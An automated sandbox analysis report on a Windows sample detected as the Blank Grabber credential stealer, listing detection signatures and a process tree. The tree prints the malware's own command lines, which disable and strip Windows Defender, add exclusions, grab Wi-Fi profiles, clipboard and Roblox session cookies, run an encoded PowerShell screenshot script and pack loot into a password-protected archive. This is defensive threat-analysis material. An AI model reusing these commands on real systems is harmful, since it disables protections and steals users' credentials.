Edit tour

Windows Analysis Report
9g9LZNE4bH.exe

Overview

General Information

Sample name:	9g9LZNE4bH.exe renamed because original name is a hash value
Original sample name:	fc11fee1405cd9e4b30f6ee243396f62bcd1b1dd8117c00a7008a7e3daa6cc29.exe
Analysis ID:	1584119
MD5:	03bb5937fb7b74837da488b2278d0811
SHA1:	51259fa1bf7608d3c394c2f7776f581d5251aa01
SHA256:	fc11fee1405cd9e4b30f6ee243396f62bcd1b1dd8117c00a7008a7e3daa6cc29
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

9g9LZNE4bH.exe (PID: 6176 cmdline: "C:\Users\user\Desktop\9g9LZNE4bH.exe" MD5: 03BB5937FB7B74837DA488B2278D0811)

9g9LZNE4bH.exe (PID: 5860 cmdline: "C:\Users\user\Desktop\9g9LZNE4bH.exe" MD5: 03BB5937FB7B74837DA488B2278D0811)

cmd.exe (PID: 1868 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5024 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5988 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5440 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 7868 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 3712 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3840 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7224 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7428 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7240 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7388 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7488 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7860 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7504 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7764 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7512 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7564 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7772 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7580 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7880 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 8076 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 1576 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8088 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5704 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7632 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7292 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF89E.tmp" "c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8096 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 412 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7924 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7956 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 7564 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7668 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7664 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7492 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1272 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 2820 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8116 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7856 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7444 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7312 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 7360 cmdline: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 7792 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7716 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7892 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5424 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7084 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

